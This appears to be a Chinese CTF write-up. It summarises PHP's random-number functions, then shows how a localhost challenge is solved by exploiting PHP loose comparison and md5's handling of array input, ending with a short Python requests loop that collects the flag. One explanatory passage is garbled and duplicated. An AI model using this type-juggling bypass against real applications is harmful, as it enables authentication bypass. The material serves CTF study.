函数分析:
mt_srand()
mt_srand() 播种 Mersenne Twister 随机数生成器。
注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。
PHP随机函数
PHP随机函数主要有rand、mt_rand、array_rand,还有随机"排列"(打乱顺序)的函数shuffle、str_shuffle,以及能够产生唯一ID的uniqid。
1、rand()
• rand()函数返回随机整数。
• 如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。
• rand()函数是使用libc的随机数发生器生成随机数的,一般较慢,且有不确定因素。
• 其中getrandmax()函数可以返回rand函数能够产生的最大的随机数,在设置rand()函数第二个参数时可以设置为getrandmax()的返回值。
mt_rand()函数
• mt_rand() 使用 Mersenne Twister 算法返回随机整数。
• 如果没有提供可选参数 min 和 max,mt_rand() 返回 0 到 RAND_MAX 之间的伪随机数。例如想要 5 到 15(包括 5 和 15)之间的随机数,用 mt_rand(5, 15)。
• 很多老的 libc 的随机数发生器具有一些不确定和未知的特性而且很慢。PHP 的 rand() 函数默认使用 libc 随机数发生器。mt_rand() 函数是非正式用来替换它的。该函数用了 Mersenne Twister 中已知的特性作为随机数发生器,它可以产生随机数值的平均速度比 libc 提供的 rand() 快四倍。
• 注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现在已自动完成。
array_rand()函数
• array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
• array_rand() 函数从数组中随机选出一个或多个元素,并返回。
• 第二个参数用来确定要选出几个元素。如果选出的元素不止一个,则返回包含随机键名的数组,否则返回该元素的键名。
shuffle()函数
• shuffle() 函数把数组中的元素按随机顺序重新排列。
• 该函数为数组中的元素分配新的键名。已有键名将被删除。
str_shuffle()函数
• str_shuffle() 函数随机打乱字符串中的所有字符。
uniqid()函数
• uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
• 语法:
uniqid(prefix,more_entropy)
• 如果 prefix 参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy 参数设置为 true,则是 23 个字符串长。
• 如果 more_entropy 参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。
• 返回值:以字符串的形式返回唯一标识符。
• 注释:由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,请使用 md5() 函数。
• 如果单独使用uniqid()方法,不带任何参数的话,这个方法只能保证单个进程,在同一个毫秒内是唯一的。如果使用uniqid(“”,true),带了一个墒值,自身已经有一个随机的方法能保证生成的id的随机性。但是由于线性同余是比较简单的生成随机数的算法,随机性有可能还不够。
所以大多数采用的方法为:
nuiqid(mt_rand(), true)
主要代码 :
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
其中参数whoami要满足两个条件,一个是满足whoami输入的值与产生的随机值相等,另一个条件就是要满足md5(
v
a
l
u
e
)
从第五位取,取四位,能够
=
=
0
,其中后一个条件其实可以通过
P
H
P
的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足
(
m
d
5
(
value)从第五位取,取四位,能够==0,其中后一个条件其实可以通过PHP的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足(md5(
value)从第五位取,取四位,能够==0,其中后一个条件其实可以通过PHP的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足(md5(value),5,4) == 0
这里可以使用MD5无法处理数组的漏洞
还有个条件 :
if($_SESSION['nums']>=10){
echo $flag;
}
在120秒内访问10次,条件满足 ,echo flag
payload :
import requests
url = "http://localhost:23123/challenge10.php"
session = requests.Session()
flag = session.get(url+'?value[]=ea').text
for i in range(10):
flag = session.get(url+'?value[]='+ flag[0:2]).text
print(flag)